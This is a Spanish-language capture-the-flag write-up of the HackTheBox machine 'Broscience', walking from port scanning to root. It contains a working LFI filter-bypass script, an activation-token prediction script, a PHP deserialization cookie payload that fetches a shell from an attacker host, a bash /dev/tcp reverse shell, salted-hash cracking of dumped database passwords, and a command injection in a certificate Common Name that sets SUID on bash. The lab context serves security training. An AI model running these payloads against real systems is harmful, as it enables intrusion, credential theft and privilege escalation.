Broscience es una de las maquinas existentes actualmente en la plataforma de hacking HackTheBox y es de dificultad Media.
En este caso se trata de una máquina basada en el Sistema Operativo Linux.
Índice
Escaneo de puertos
Como de costumbre, agregamos la IP de la máquina Broscience 10.10.11.195 a /etc/hosts como broscience.htb y comenzamos con el escaneo de puertos nmap.
1 2 3 4 5 6 7 8 9 10 11 12 |
# Nmap 7.92 scan initiated Mon Feb 6 08:39:58 2023 as: nmap -sV -oA enumeration/nmap 10.10.11.195 Nmap scan report for 10.10.11.195 Host is up (0.045s latency). Not shown: 997 closed tcp ports (conn-refused) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0) 80/tcp open http Apache httpd 2.4.54 443/tcp open ssl/http Apache httpd 2.4.54 ((Debian)) Service Info: Host: broscience.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . # Nmap done at Mon Feb 6 08:40:13 2023 -- 1 IP address (1 host up) scanned in 15.03 seconds |
Una vez completado el escaneo de puertos procedemos a revisar en detalle cada uno de ellos.
Enumeración
En el escaneo vimos 3 puertos abiertos y un nombre de host, broscience.htb, así que procedemos a acceder a dicho dominio por el puerto 80 y este nos reenvía al puerto 443 mostrando la siguiente página
No vemos gran cosa por el momento así que procedemos a enumerar ficheros y directorios, en nuestro caso con feroxbuster
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 |
$ feroxbuster -u https://broscience.htb/ -x php -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories-lowercase.txt -k ___ ___ __ __ __ __ __ ___ |__ |__ |__) |__) | / ` / \ \_/ | | \ |__ | |___ | \ | \ | \__, \__/ / \ | |__/ |___ by Ben "epi" Risher 🤓 ver: 2.7.0 ───────────────────────────┬────────────────────── 🎯 Target Url │ https://broscience.htb/ 🚀 Threads │ 50 📖 Wordlist │ /usr/share/seclists/Discovery/Web-Content/raft-medium-directories-lowercase.txt 👌 Status Codes │ [200, 204, 301, 302, 307, 308, 401, 403, 405, 500] 💥 Timeout (secs) │ 7 🦡 User-Agent │ feroxbuster/2.7.0 💉 Config File │ /etc/feroxbuster/ferox-config.toml 💲 Extensions │ [php] 🏁 HTTP methods │ [GET] 🔓 Insecure │ true 🔃 Recursion Depth │ 4 🎉 New Version Available │ https://github.com/epi052/feroxbuster/releases/latest ───────────────────────────┴────────────────────── 🏁 Press [ENTER] to use the Scan Management Menu™ ────────────────────────────────────────────────── 200 GET 147l 510w 0c https://broscience.htb/ 301 GET 9l 28w 321c https://broscience.htb/includes => https://broscience.htb/includes/ 301 GET 9l 28w 319c https://broscience.htb/images => https://broscience.htb/images/ 200 GET 29l 70w 1309c https://broscience.htb/user.php 403 GET 9l 28w 280c https://broscience.htb/.php 302 GET 1l 3w 13c https://broscience.htb/comment.php => /login.php 302 GET 0l 0w 0c https://broscience.htb/logout.php => /index.php 200 GET 45l 104w 2161c https://broscience.htb/register.php 200 GET 42l 97w 1936c https://broscience.htb/login.php 301 GET 9l 28w 319c https://broscience.htb/styles => https://broscience.htb/styles/ 301 GET 9l 28w 323c https://broscience.htb/javascript => https://broscience.htb/javascript/ 200 GET 147l 510w 0c https://broscience.htb/index.php 301 GET 9l 28w 319c https://broscience.htb/manual => https://broscience.htb/manual/ 301 GET 9l 28w 326c https://broscience.htb/manual/images => https://broscience.htb/manual/images/ 301 GET 9l 28w 322c https://broscience.htb/manual/en => https://broscience.htb/manual/en/ 301 GET 9l 28w 322c https://broscience.htb/manual/fr => https://broscience.htb/manual/fr/ 301 GET 9l 28w 322c https://broscience.htb/manual/de => https://broscience.htb/manual/de/ 301 GET 9l 28w 327c https://broscience.htb/manual/en/misc => https://broscience.htb/manual/en/misc/ 301 GET 9l 28w 325c https://broscience.htb/manual/style => https://broscience.htb/manual/style/ 403 GET 9l 28w 280c https://broscience.htb/manual/.php 301 GET 9l 28w 322c https://broscience.htb/manual/es => https://broscience.htb/manual/es/ 301 GET 9l 28w 322c https://broscience.htb/manual/ru => https://broscience.htb/manual/ru/ 301 GET 9l 28w 327c https://broscience.htb/manual/fr/misc => https://broscience.htb/manual/fr/misc/ 301 GET 9l 28w 327c https://broscience.htb/manual/de/misc => https://broscience.htb/manual/de/misc/ 301 GET 9l 28w 327c https://broscience.htb/manual/es/misc => https://broscience.htb/manual/es/misc/ 403 GET 9l 28w 280c https://broscience.htb/manual/en/.php 301 GET 9l 28w 327c https://broscience.htb/manual/ru/misc => https://broscience.htb/manual/ru/misc/ 403 GET 9l 28w 280c https://broscience.htb/manual/fr/.php 403 GET 9l 28w 280c https://broscience.htb/manual/de/.php 403 GET 9l 28w 280c https://broscience.htb/manual/es/.php 403 GET 9l 28w 280c https://broscience.htb/manual/ru/.php 301 GET 9l 28w 322c https://broscience.htb/manual/ja => https://broscience.htb/manual/ja/ 301 GET 9l 28w 322c https://broscience.htb/manual/tr => https://broscience.htb/manual/tr/ 301 GET 9l 28w 322c https://broscience.htb/manual/ko => https://broscience.htb/manual/ko/ 301 GET 9l 28w 322c https://broscience.htb/manual/da => https://broscience.htb/manual/da/ 301 GET 9l 28w 327c https://broscience.htb/manual/ja/misc => https://broscience.htb/manual/ja/misc/ 301 GET 9l 28w 326c https://broscience.htb/manual/ru/faq => https://broscience.htb/manual/ru/faq/ 301 GET 9l 28w 327c https://broscience.htb/manual/tr/misc => https://broscience.htb/manual/tr/misc/ 301 GET 9l 28w 326c https://broscience.htb/manual/es/faq => https://broscience.htb/manual/es/faq/ 301 GET 9l 28w 326c https://broscience.htb/manual/de/faq => https://broscience.htb/manual/de/faq/ 301 GET 9l 28w 326c https://broscience.htb/manual/fr/ssl => https://broscience.htb/manual/fr/ssl/ 301 GET 9l 28w 326c https://broscience.htb/manual/ja/faq => https://broscience.htb/manual/ja/faq/ 301 GET 9l 28w 326c https://broscience.htb/manual/ja/mod => https://broscience.htb/manual/ja/mod/ 301 GET 9l 28w 326c https://broscience.htb/manual/da/ssl => https://broscience.htb/manual/da/ssl/ 301 GET 9l 28w 326c https://broscience.htb/manual/ko/ssl => https://broscience.htb/manual/ko/ssl/ 403 GET 9l 28w 280c https://broscience.htb/manual/ja/.php 301 GET 9l 28w 331c https://broscience.htb/manual/fr/programs => https://broscience.htb/manual/fr/programs/ 301 GET 9l 28w 326c https://broscience.htb/manual/tr/mod => https://broscience.htb/manual/tr/mod/ 301 GET 9l 28w 331c https://broscience.htb/manual/tr/programs => https://broscience.htb/manual/tr/programs/ 301 GET 9l 28w 332c https://broscience.htb/manual/de/developer => https://broscience.htb/manual/de/developer/ 301 GET 9l 28w 332c https://broscience.htb/manual/ja/developer => https://broscience.htb/manual/ja/developer/ 301 GET 9l 28w 332c https://broscience.htb/manual/ko/developer => https://broscience.htb/manual/ko/developer/ 301 GET 9l 28w 328c https://broscience.htb/manual/es/howto => https://broscience.htb/manual/es/howto/ 301 GET 9l 28w 328c https://broscience.htb/manual/ru/howto => https://broscience.htb/manual/ru/howto/ 301 GET 9l 28w 328c https://broscience.htb/manual/tr/howto => https://broscience.htb/manual/tr/howto/ 403 GET 9l 28w 280c https://broscience.htb/server-status 301 GET 9l 28w 331c https://broscience.htb/manual/ja/platform => https://broscience.htb/manual/ja/platform/ 301 GET 9l 28w 331c https://broscience.htb/manual/da/platform => https://broscience.htb/manual/da/platform/ |
Encontramos un directorio con nombre includes muy interesante
Nos enumera los ficheros existentes en el mismo así que revisamos cada uno y vemos en el fichero img.php que muestra un error de que falta un parámetro con nombre path
Si tratamos de hacer un LFI nos bloquea debido a que detecta un ataque
Hacemos varias pruebas para intentar saltar la restricción y conseguimos pasarla encodeando el valor que le pasamos dos veces, consiguiendo con ello leer el fichero /etc/passwd
Descubierto esto y para evitar estar haciéndolo manualmente he hecho el siguiente script en python para su automatización
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 |
import sys import requests import urllib3 urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) if len(sys.argv) < 2: print("Usage: python3 {sys.argv[0]} <path> ") print("By default it do one encode.") exit(1) def urlencode(string): urlencode = "" for character in string: decimal = ord(character) urlencode += "%" + hex(decimal)[2:] return urlencode value = "../../../../" + sys.argv[1] for i in range(0, 2): value = urlencode(value) url = "https://broscience.htb/includes/img.php?path=" response = requests.get(url + value, verify=False) print(response.text) |
Así que lo lanzamos para verificar que funciona tal y como esperamos
1 2 3 4 5 6 7 8 9 |
$ python3 lfi.py /etc/passwd root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin ---- |
Visto que funciona nos descargamos los ficheros que vimos anteriormente dentro del directorio includes y observamos varias cosas interesantes.
En primer lugar obtenemos unas credenciales de base de datos en el fichero db_connect.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 |
$ cat db_connect.php <?php $db_host = "localhost"; $db_port = "5432"; $db_name = "broscience"; $db_user = "dbuser"; $db_pass = "RangeOfMotion%777"; $db_salt = "NaCl"; $db_conn = pg_connect("host={$db_host} port={$db_port} dbname={$db_name} user={$db_user} password={$db_pass}"); if (!$db_conn) { die("<b>Error</b>: Unable to connect to database"); } ?> |
Además de eso en el fichero utils.php observamos una función para generar un código de activación
1 2 3 4 5 6 7 8 9 10 11 |
$ cat utils.php |head <?php function generate_activation_code() { $chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890"; srand(time()); $activation_code = ""; for ($i = 0; $i < 32; $i++) { $activation_code = $activation_code . $chars[rand(0, strlen($chars) - 1)]; } return $activation_code; } |
Así que nos descargamos el fichero de la página de registro que vimos anteriormente en la enumeración de directorios para observar su contenido
1 |
$ python3 lfi.py /var/www/html/register.php > ../data/web/register.php |
Y encontramos la url necesaria para la activación de la cuenta
1 |
$activation_link = "https://broscience.htb/activate.php?code={$activation_code}"; |
Visto esto nos vamos a la página de registro para crear nuestro usuario, en nuestro caso interceptamos la petición con burp para obtener la fecha de la petición (esto ya se expicará más adelante)
Y ya tenemos nuestro usuario creado, ahora hará falta activarlo. Para ello generaremos un fichero php con el código que vimos anteriormente pero con alguna modificación, en el caso de la fecha, en lugar de utilizar la función time, usaremos la función strotime junto con la fecha obtenida en la petición realizada para registrar el usuario, quedaría entonces el código así:
1 2 3 4 5 6 7 8 9 |
<?php $chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890"; srand(strtotime("Mon, 06 Feb 2023 10:01:34 GMT")); $activation_code = ""; for ($i = 0; $i < 32; $i++) { $activation_code = $activation_code . $chars[rand(0, strlen($chars) - 1)]; } echo($activation_code); ?> |
Generado el script ejecutamos para obtener nuestro token de activación
1 2 |
$ php activate.php 3JFH7ZHggue4IvbrEsucrmNYy6W4tKAO |
Y accedemos a la url que vimos antes para activar la cuenta
Y una vez activada, nos logueamos con la misma
Hasta aquí poco más que hacer, así que volvemos a revisar el código y encontramos dos partes muy interesantes en el fichero utils.php
En primer lugar la función get_theme, que si revisamos el código serializa la cookie para cargar las preferencias del usuario en la misma
1 2 3 4 5 6 7 8 9 10 11 12 13 14 |
function get_theme() { if (isset($_SESSION['id'])) { if (!isset($_COOKIE['user-prefs'])) { $up_cookie = base64_encode(serialize(new UserPrefs())); setcookie('user-prefs', $up_cookie); } else { $up_cookie = $_COOKIE['user-prefs']; } $up = unserialize(base64_decode($up_cookie)); return $up->theme; } else { return "light"; } } |
Por otro lado descubrimos dos clases destinadas a la subida de ficheros para la personalización del avatar del usuario
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 |
class Avatar { public $imgPath; public function __construct($imgPath) { $this->imgPath = $imgPath; } public function save($tmp) { $f = fopen($this->imgPath, "w"); fwrite($f, file_get_contents($tmp)); fclose($f); } } class AvatarInterface { public $tmp; public $imgPath; public function __wakeup() { $a = new Avatar($this->imgPath); $a->save($this->tmp); } } |
Con todo esto es posible generar una cookie con una reverse shell y modificarla en la sesión actual del navegador para conseguir ejecutarla y acceder al sistema.
Dicho esto, construimos nuestro script php con el código que acabamos de ver quedando así
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 |
<?php class Avatar { public $imgPath; public function __construct($imgPath) { $this->imgPath = $imgPath; } public function save($tmp) { $f = fopen($this->imgPath, "w"); fwrite($f, file_get_contents($tmp)); fclose($f); } } class AvatarInterface { public $tmp = "http://10.10.14.8/shell.php"; public $imgPath = "./shell.php"; public function __wakeup() { $a = new Avatar($this->imgPath); $a->save($this->tmp); } } $payload = base64_encode(serialize(new AvatarInterface)); echo $payload; ?> |
Y lo ejecutamos para obtener nuestra cookie
1 2 |
$ php cookie.php TzoxNToiQXZhdGFySW50ZXJmYWNlIjoyOntzOjM6InRtcCI7czoyNzoiaHR0cDovLzEwLjEwLjE0Ljgvc2hlbGwucGhwIjtzOjc6ImltZ1BhdGgiO3M6MTE6Ii4vc2hlbGwucGhwIjt9 |
El siguiente paso será generar un fichero php con nuestra reverse shell
1 2 3 4 |
$ cat shell.php <?php system("bash -c 'bash -i >& /dev/tcp/10.10.14.8/4444 0>&1'") ?> |
Y modificar la cookie en el navegador para conseguir subir el fichero
Y si revisamos nuestra escucha en python vemos que ha funcionado
1 2 3 |
$ python3 -m http.server 80 Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ... 10.10.11.195 - - [06/Feb/2023 10:24:18] "GET /shell.php HTTP/1.0" 200 - |
Ya sólo queda acceder a nuestro fichero por ejemplo con curl
1 |
$ curl -sk https://broscience.htb/shell.php |
Y obtendremos acceso con el usuario www-data
1 2 3 4 5 6 7 8 9 |
$ nc -lvp 4444 listening on [any] 4444 ... connect to [10.10.14.8] from broscience.htb [10.10.11.195] 44666 bash: cannot set terminal process group (1248): Inappropriate ioctl for device bash: no job control in this shell www-data@broscience:/var/www/html$ id id uid=33(www-data) gid=33(www-data) groups=33(www-data) www-data@broscience:/var/www/html$ |
Escalado al usuario bill
Una vez dentro con el usuario www-data, vamos a obtener una shell un poco mejor
1 2 3 |
www-data@broscience:/var/www/html$ script /dev/null -c bash script /dev/null -c bash Script started, output log file is '/dev/null'. |
Utilizaremos entonces las credenciales de postgres que vimos en el fichero db_connect.php y descubrimos en la base de datos las credenciales de varios usuarios
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 |
www-data@broscience:/var/www/html$ psql -h localhost -d broscience -U dbuser psql -h localhost -d broscience -U dbuser Password for user dbuser: RangeOfMotion%777 psql (13.9 (Debian 13.9-0+deb11u1)) SSL connection (protocol: TLSv1.3, cipher: TLS_AES_256_GCM_SHA384, bits: 256, compression: off) Type "help" for help. broscience=> broscience-> \dt List of relations Schema | Name | Type | Owner --------+-----------+-------+---------- public | comments | table | postgres public | exercises | table | postgres public | users | table | postgres (3 rows) broscience=> select username,password from users; username | password ---------------+---------------------------------- administrator | 15657792073e8a843d4f91fc403454e1 bill | 13edad4932da9dbb57d9cd15b66ed104 michael | bd3dad50e2d578ecba87d5fa15ca5f85 john | a7eed23a7be6fe0d765197b1027453fe dmytro | 5d15340bded5b9395d5d14b9c21bc82b (5 rows) |
Para poder crackear las mismas necesitaremos generar un diccionario al cual le insertemos el salt en cada línea ya que este es utilizado por la aplicación
1 |
$ sed 's/^/NaCl/' /usr/share/seclists/Passwords/Leaked-Databases/rockyou.txt > newrockyou.txt |
Y una vez creado el diccionario utilizamos john para romperlas y obtenes en plano las credenciales de tres usuarios
1 2 3 4 5 6 7 8 9 10 11 |
$ john -w:newrockyou.txt ../keys/psql.txt --format=Raw-MD5 Using default input encoding: UTF-8 Loaded 5 password hashes with no different salts (Raw-MD5 [MD5 256/256 AVX2 8x3]) Warning: no OpenMP support for this hash type, consider --fork=2 Press 'q' or Ctrl-C to abort, almost any other key for status NaCliluvhorsesandgym (bill) NaClAaronthehottest (dmytro) NaCl2applesplus2apples (michael) 3g 0:00:00:01 DONE (2023-02-06 11:08) 1.530g/s 7317Kp/s 7317Kc/s 30693KC/s NaCl 0557862091..NaCl*7¡Vamos! Use the "--show --format=Raw-MD5" options to display all of the cracked passwords reliably Session completed. |
Revisando en el fichero passwd existe el usuario bill así que quitamos el salt a la password obtenida y accederemos por ssh con las credenciales obtenidas.
Obteniendo la flag de user
Con las credenciales del usuario bill accedemos por ssh y cogemos la primera flag
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 |
$ ssh bill@broscience.htb The authenticity of host 'broscience.htb (10.10.11.195)' can't be established. ED25519 key fingerprint is SHA256:qQRm/99RG60gqk9HTpyf93940WYoqJEnH+MDvJXkM6E. This key is not known by any other names Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Warning: Permanently added 'broscience.htb' (ED25519) to the list of known hosts. bill@broscience.htb's password: Permission denied, please try again. bill@broscience.htb's password: Linux broscience 5.10.0-20-amd64 #1 SMP Debian 5.10.158-2 (2022-12-13) x86_64 The programs included with the Debian GNU/Linux system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright. Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. Last login: Mon Jan 2 04:45:21 2023 from 10.10.14.40 bill@broscience:~$ id uid=1000(bill) gid=1000(bill) groups=1000(bill) bill@broscience:~$ cat user.txt cef97c212fbec0f0a9990439004058f2 bill@broscience:~$ |
Escalado de privilegios
Para el escalado a root enumeramos y revisamos a fondo la página y encontramos un proceso interesante con pspy
En el mismo se ejecuta el script renew_cert.sh con un parámetro, si revisamos el script el contenido es el siguiente
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 |
#!/bin/bash if [ "$#" -ne 1 ] || [ $1 == "-h" ] || [ $1 == "--help" ] || [ $1 == "help" ]; then echo "Usage: $0 certificate.crt"; exit 0; fi if [ -f $1 ]; then openssl x509 -in $1 -noout -checkend 86400 > /dev/null if [ $? -eq 0 ]; then echo "No need to renew yet."; exit 1; fi subject=$(openssl x509 -in $1 -noout -subject | cut -d "=" -f2-) country=$(echo $subject | grep -Eo 'C = .{2}') state=$(echo $subject | grep -Eo 'ST = .*,') locality=$(echo $subject | grep -Eo 'L = .*,') organization=$(echo $subject | grep -Eo 'O = .*,') organizationUnit=$(echo $subject | grep -Eo 'OU = .*,') commonName=$(echo $subject | grep -Eo 'CN = .*,?') emailAddress=$(openssl x509 -in $1 -noout -email) country=${country:4} state=$(echo ${state:5} | awk -F, '{print $1}') locality=$(echo ${locality:3} | awk -F, '{print $1}') organization=$(echo ${organization:4} | awk -F, '{print $1}') organizationUnit=$(echo ${organizationUnit:5} | awk -F, '{print $1}') commonName=$(echo ${commonName:5} | awk -F, '{print $1}') echo $subject; echo ""; echo "Country => $country"; echo "State => $state"; echo "Locality => $locality"; echo "Org Name => $organization"; echo "Org Unit => $organizationUnit"; echo "Common Name => $commonName"; echo "Email => $emailAddress"; echo -e "\nGenerating certificate..."; openssl req -x509 -sha256 -nodes -newkey rsa:4096 -keyout /tmp/temp.key -out /tmp/temp.crt -days 365 <<<"$country $state $locality $organization $organizationUnit $commonName $emailAddress " 2>/dev/null /bin/bash -c "mv /tmp/temp.crt /home/bill/Certs/$commonName.crt" else echo "File doesn't exist" exit 1; |
El script lee el certificado y lo renueva en caso de ser necesario así que vamos a generar un certificado nuevo en la ruta que vimos en el proceso, y en el mismo, vamos a incluir un comando en el Common Name con el fin de dar permisos de suid al binario de bash, así que generamos nuestro certificado
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 |
bill@broscience:~$ openssl req -x509 -sha256 -nodes -newkey rsa:4096 -keyout /tmp/temp.key -out /home/bill/Certs/broscience.crt -days 1 Generating a RSA private key .........................................................................................................................................................++++ ...++++ writing new private key to '/tmp/temp.key' ----- You are about to be asked to enter information that will be incorporated into your certificate request. What you are about to enter is what is called a Distinguished Name or a DN. There are quite a few fields but you can leave some blank For some fields there will be a default value, If you enter '.', the field will be left blank. ----- Country Name (2 letter code) [AU]: State or Province Name (full name) [Some-State]: Locality Name (eg, city) []: Organization Name (eg, company) [Internet Widgits Pty Ltd]: Organizational Unit Name (eg, section) []: Common Name (e.g. server FQDN or YOUR name) []:$(chmod u+s /bin/bash) Email Address []: |
Esperamos a que se ejecute de nuevo y veremos como ha funcionado y el binario de bash tiene ahora el bit de suid
1 2 |
bill@broscience:~$ ls -l /bin/bash -rwsr-xr-x 1 root root 1234376 Mar 27 2022 /bin/bash |
Obteniendo la flag de root
Con el permiso de suid en el binario de bash escalamos a root y vamos a por la flag
1 2 3 4 5 6 7 |
bill@broscience:~$ /bin/bash -p bash-5.1# id uid=1000(bill) gid=1000(bill) euid=0(root) groups=1000(bill) bash-5.1# cd /root bash-5.1# cat root.txt bxxxxxxxxxxxxxxxxxxxxxxxxxxxxx5 bash-5.1# |
Y ya tenemos nuestra flag de root para completar esta máquina y conseguir nuestros puntos.
Si eres usuario de HackTheBox y te gustó mi writeup, por favor, dame respeto en el siguiente enlace